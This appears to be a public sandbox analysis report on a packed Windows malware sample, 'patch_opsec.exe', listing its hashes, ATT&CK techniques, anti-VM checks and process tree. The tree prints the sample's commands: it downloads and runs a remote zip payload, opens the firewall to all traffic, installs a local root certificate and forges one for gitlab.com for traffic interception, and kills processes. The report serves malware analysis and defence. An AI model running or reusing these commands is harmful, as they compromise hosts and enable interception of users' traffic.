d2b73af1ef87cf414ce5f61a9f7c0935cb52ab0dbcdcc0c7e4553103f4d1e707

Analysis

user interaction
yes
max time kernel
42s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/09/2026, 00:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
patch_opsec.exe
Size 21.9MB
Sample260910-a9jm1ack9v
SHA256 d2b73af1ef87cf414ce5f61a9f7c0935cb52ab0dbcdcc0c7e4553103f4d1e707
MD5 132dd387a6c30920460bfbb601f13d40
SHA1 c675d20f4c243eb54e8204fbe2ccc75a63e37e86
SHA512 46c45c0caf9d786c042b1a56430d2436e09c1f43cc07870347c0fbee6546a461cbe360a694362e3356aaca8d8b0188c8b6437b50eabe97ec0e825e3fb7e36443
SSDEEP 393216:mBHYyaC9sfDqv884uKzxw9TrjI1E75l/Gnd+0i2+rPcpgBnwovpwC9qm9:mBcRsR4tFKTrU2GN3pgBnwoR6m9
TLSH
T1403733381A873A8DD22FC1B592B1B5D927C983415BFD4F0D16B31DF0F08E69D21C9A6A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution ransomware themida trojan

Malware Config

Signatures

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	patch_opsec.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
5	4312	curl.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5656	netsh.exe
5444	netsh.exe
4488	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	patch_opsec.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	patch_opsec.exe

Executes dropped EXE 3 IoCs

pid	Process
6136	python_installer.exe
3340	python_installer.exe
5732	python-3.11.9-amd64.exe

Loads dropped DLL 1 IoCs

pid	Process
3340	python_installer.exe

Themida packer 48 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/2616-0-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-1-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-2-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-72-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-73-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-74-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-75-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-80-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-95-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/files/0x000e00000001c414-107.dat	themida
behavioral2/memory/3556-108-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/3556-110-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/3556-109-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2972-127-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2972-128-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2972-129-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2616-149-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/3556-164-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2972-165-0x0000000140000000-0x00000001412CD000-memory.dmp	themida
behavioral2/memory/2616-163-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-179-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/files/0x000e00000001c413-181.dat	themida
behavioral2/memory/3528-183-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/3528-182-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/3568-199-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/3568-200-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/files/0x000e00000001c416-202.dat	themida
behavioral2/memory/3568-227-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/3528-231-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/2564-232-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2616-230-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2564-233-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2564-234-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2564-235-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/3528-236-0x0000000140000000-0x0000000141A48000-memory.dmp	themida
behavioral2/memory/1968-281-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/1968-280-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/1968-282-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2616-283-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2564-285-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/1968-286-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2616-284-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-287-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-291-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/2616-294-0x0000000140000000-0x0000000143871000-memory.dmp	themida
behavioral2/memory/1968-296-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2564-298-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida
behavioral2/memory/2564-320-0x0000000140000000-0x0000000141C6C000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	patch_opsec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2616	patch_opsec.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 4 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5348	cmd.exe
6004	powershell.exe
2656	cmd.exe
4440	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 19 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2556	cmd.exe
4452	cmd.exe
1792	cmd.exe
3988	cmd.exe
1076	cmd.exe
836	cmd.exe
3412	cmd.exe
2836	cmd.exe
4836	cmd.exe
4732	cmd.exe
6104	cmd.exe
3528	cmd.exe
3572	cmd.exe
4908	cmd.exe
3312	cmd.exe
1616	cmd.exe
3420	cmd.exe
3188	cmd.exe
4552	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-3.11.9-amd64.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000000f2192634d2a4d980000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c01200000000000000000000000027010100008838010f2192630000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e841010f219263000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e30f21926300000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e60f21926300000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
1352	timeout.exe
568	timeout.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1424	NETSTAT.EXE

Kills process with taskkill 8 IoCs

defense_evasion

pid	Process
4960	taskkill.exe
3428	taskkill.exe
3820	taskkill.exe
3136	taskkill.exe
2016	taskkill.exe
4804	taskkill.exe
5404	taskkill.exe
5912	taskkill.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
6004	powershell.exe
6004	powershell.exe
6004	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeBackupPrivilege	4828	vssvc.exe
Token: SeRestorePrivilege	4828	vssvc.exe
Token: SeAuditPrivilege	4828	vssvc.exe
Token: SeDebugPrivilege	3428	taskkill.exe
Token: SeDebugPrivilege	3820	taskkill.exe
Token: SeDebugPrivilege	3136	taskkill.exe
Token: SeDebugPrivilege	6004	powershell.exe
Token: SeBackupPrivilege	972	srtasks.exe
Token: SeRestorePrivilege	972	srtasks.exe
Token: SeSecurityPrivilege	972	srtasks.exe
Token: SeTakeOwnershipPrivilege	972	srtasks.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 836	2616	patch_opsec.exe	90
PID 2616 wrote to memory of 4312	2616	patch_opsec.exe	91
PID 2616 wrote to memory of 6136	2616	patch_opsec.exe	93
PID 6136 wrote to memory of 3340	6136	python_installer.exe	94
PID 3340 wrote to memory of 5732	3340	python_installer.exe	95
PID 2616 wrote to memory of 3528	2616	patch_opsec.exe	104
PID 2616 wrote to memory of 3572	2616	patch_opsec.exe	105
PID 2616 wrote to memory of 4452	2616	patch_opsec.exe	106
PID 2616 wrote to memory of 3412	2616	patch_opsec.exe	107
PID 2616 wrote to memory of 2836	2616	patch_opsec.exe	108
PID 2836 wrote to memory of 3428	2836	cmd.exe	109
PID 2616 wrote to memory of 1792	2616	patch_opsec.exe	111
PID 1792 wrote to memory of 3820	1792	cmd.exe	112
PID 2616 wrote to memory of 4552	2616	patch_opsec.exe	113
PID 4552 wrote to memory of 3136	4552	cmd.exe	114
PID 2616 wrote to memory of 5348	2616	patch_opsec.exe	115
PID 5348 wrote to memory of 6004	5348	cmd.exe	116

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\patch_opsec.exe
"C:\Users\Admin\AppData\Local\Temp\patch_opsec.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c python --version >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:836
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -L -k -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\python_installer.exe" "https://www.python.org/ftp/python/3.11.9/python-3.11.9-amd64.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4312
- C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\python_installer.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\python_installer.exe" /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_doc=0
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6136
- - C:\Windows\Temp\{3E110A3C-DC22-4AD1-BAF9-730AA355D464}\.cr\python_installer.exe
    "C:\Windows\Temp\{3E110A3C-DC22-4AD1-BAF9-730AA355D464}\.cr\python_installer.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\python_installer.exe" -burn.filehandle.attached=596 -burn.filehandle.self=748 /quiet InstallAllUsers=0 PrependPath=1 Include_test=0 Include_doc=0
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\Temp\{93AAC2A0-3AD8-45E4-AA98-047A47B11294}\.be\python-3.11.9-amd64.exe
      "C:\Windows\Temp\{93AAC2A0-3AD8-45E4-AA98-047A47B11294}\.be\python-3.11.9-amd64.exe" -q -burn.elevated BurnPipe.{DD89FF3E-76C6-4209-9F7D-59C702B80151} {D4670572-FCC2-4F2E-98E9-8634B5DC20AE} 3340
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c python --version >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mitmdump --version >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3572
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mitmdump --version >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c python -m pip install mitmproxy >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mitmdump.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mitmdump.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im main.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im main.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im input.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im input.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -Command "Get-NetTCPConnection -LocalPort 8080 -ErrorAction SilentlyContinue | Foreach-Object { Stop-Process -Id $_.OwningProcess -Force -ErrorAction SilentlyContinue }" >nul 2>&1
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:5348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "Get-NetTCPConnection -LocalPort 8080 -ErrorAction SilentlyContinue | Foreach-Object { Stop-Process -Id $_.OwningProcess -Force -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell.exe -NoProfile -Command "Get-NetTCPConnection -LocalPort 443 -ErrorAction SilentlyContinue | Foreach-Object { Stop-Process -Id $_.OwningProcess -Force -ErrorAction SilentlyContinue }" >nul 2>&1
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:2656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "Get-NetTCPConnection -LocalPort 443 -ErrorAction SilentlyContinue | Foreach-Object { Stop-Process -Id $_.OwningProcess -Force -ErrorAction SilentlyContinue }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    PID:4440
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -L -k -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\temp.zip" "https://file.garden/afOrWpALWB7P0siC/epstein.zip"
  2⤵
  PID:3824
- C:\Windows\SYSTEM32\tar.exe
  tar.exe -xf "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\temp.zip" -C "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp"
  2⤵
  PID:1348
- C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\epsteinbypasser67.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\epsteinbypasser67.exe"
  2⤵
  PID:3556
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\epsteinbypasser67.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\epsteinbypasser67.exe
    3⤵
    PID:2972
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mkcert.exe
      mkcert.exe -install
      4⤵
      PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im epsteinbypasser67.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4836
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im epsteinbypasser67.exe
    3⤵
    - Kills process with taskkill
    PID:2016
- C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\main.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\main.exe"
  2⤵
  PID:5432
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\519C.tmp\519D.tmp\519E.bat C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\main.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c netstat -aon | findstr ":443 " | findstr LISTENING
      4⤵
      Executes a command shell one-liner
      PID:2556
    - - C:\Windows\system32\NETSTAT.EXE
        
        netstat -aon
        5⤵
        Gathers network information
        
        PID:1424
    - - C:\Windows\system32\findstr.exe
        
        findstr ":443 "
        5⤵
        
        PID:3132
    - - C:\Windows\system32\findstr.exe
        
        findstr LISTENING
        5⤵
        
        PID:4280
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1352
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:568
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\input.exe
      input.exe
      4⤵
      PID:2564
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\input.exe
        
        C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\input.exe
        5⤵
        
        PID:1968
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
        6⤵
        Executes a command shell one-liner
        
        PID:4908
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state on
        7⤵
        Modifies Windows Firewall
        
        PID:5656
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
        6⤵
        Executes a command shell one-liner
        
        PID:3312
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles firewallpolicy allowinbound,allowoutbound
        7⤵
        Modifies Windows Firewall
        
        PID:5444
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall set rule all new enable=yes
        6⤵
        Executes a command shell one-liner
        
        PID:1616
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall set rule all new enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:4488
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im mitmdump.exe
      4⤵
      Kills process with taskkill
      PID:5404
- C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mock.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mock.exe"
  2⤵
  PID:3528
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mock.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mock.exe
    3⤵
    PID:3568
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=keyshield.xyz" -addext "subjectAltName=DNS:keyshield.xyz,DNS:gitlab.com"
      4⤵
      Executes a command shell one-liner
      PID:3988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im ssl.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3420
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im ssl.exe
    3⤵
    - Kills process with taskkill
    PID:4804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im mitmdump.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:1076
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im mitmdump.exe
    3⤵
    - Kills process with taskkill
    PID:5912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im main.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3188
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im main.exe
    3⤵
    - Kills process with taskkill
    PID:4960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im input.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6104

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:4828

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3304

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

epsteinbypasser67.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\epsteinbypasser67.exe
Size 10.0MB
SHA256 94d0fd0bf0a60484a7180c8cdb0cdf345c02c10da108486dca05ba2a92b42b89
MD5 e33a65e741de7117a985930636036cf7
SHA1 3258c998c5e4a89ea67517133a80bf4ef207e198
SHA512 8ab62e32d08200da858fa09d673a723b24968b4846986181aae303082bf5080cceda8abb7255f396a85dfb240f49b4fc2062b93d64bb01342851ad5572fb76d9
SSDEEP 196608:MFMSHK5fGLIzFkGD57xKQ84GFse3EPv+fOupsyGCw1D0UM4:MFZLIBkI5tHG6oE+9GCw1DR5
TLSH
T1DEB6335CDFC9144BCA8E507207B248088E4DC6A62D9B51CAAF2FD56B38DD36331D8FA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

input.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\input.exe
Size 17.2MB
SHA256 99292576d029a4d96e1094222e1d29dc17d3741911a1ac956042292b88f38f18
MD5 fe10c021b37009586f31a77299f507db
SHA1 e909f95b1a6c1abe83c820389ac5fd6b206696cb
SHA512 54a6eb3858247dfd3c559d5914d4becdb2afc91193a5d84a5ad0b4c702d213553ae50b67f209a07ea8f165440d71d28e5c9fc2a8d4fb1d7631b4fa8ce2b200cc
SSDEEP 393216:88p80vbLcVDH0+pGX7567ccCHI/TYMtjtYTfSVbsK0r:88y0vbs0+pGr567ccCH6XYkxO
TLSH
T1FA0733B99C28CF18C2A45AB80BB9FDC8F60CD71274385FF5D8A9B04F1932F959079568
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\main.exe
Size 120KB
SHA256 d2e31330c4c350b1d3ddd76ea53da6ff3f83b4bada4ed8936239fed572fde492
MD5 3590155eb34365805070aa1eb586f545
SHA1 84a24f32a17321990bcece00028689cf2aebcc67
SHA512 9a2b6b4f7f90a9a45f2375f837133809ecfdadf77989b8cc0fecf0e49ca7fcd53de2bb52eb49e41ae750c50b1fd28e3c0812ad415ccf910d90943417645b29dd
SSDEEP 3072:AV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPlm:Nt5hBPi0BW69hd1MMdxPe9N9uA069TBM
TLSH
T1F6C32756B2E01198DBF581F6D9920746EB7070311B25A3DB5BB863B31B2B8C58F3D3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mkcert.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mkcert.exe
Size 4.7MB
SHA256 d2660b50a9ed59eada480750561c96abc2ed4c9a38c6a24d93e30e0977631398
MD5 8ae03fb0741d036801add750b5528acd
SHA1 4333e9a5b314f2395074ad16d76c30921902c60e
SHA512 e7e17f3fd77daa704f88ff4dc6a22795ce0dc18b5db980bb2e5dbe823ca84f54ee8bd81e5e3d816668e4a841e53cb2bd487939e6ad805f5866926d6ddfdff086
SSDEEP 49152:TGzxo43OrdQqXrb/TRvO90dL3BmAFd4A64nsfJnTTx5hFBL+bwmUZ5EygKZlbjIs:A3OO/JLxEclEk3nTsFk+Mm/MN
TLSH
T1DB368D03FC9590E4C5EAE1308A75D292BA717C884B3137D32B14BBBA2E76BD45E78354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mock.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Temp\mock.exe
Size 13.5MB
SHA256 50414a3ba937906cfbd32dc8e505fd4f7b83b005c920d10fd6bbabd8214feca9
MD5 10c0904877468865acfeba053b07909a
SHA1 960102d6854b5e2bad2ef8f47c35f79a4c877d88
SHA512 2a346ad2bb0d71b296b43f7af4a22fe44f1a5422b6ef7541f89392f4a6e5c0b3c22dac9aaf5956797a78391e4048fe9aded30bed83962bb3aa9e5145370de4df
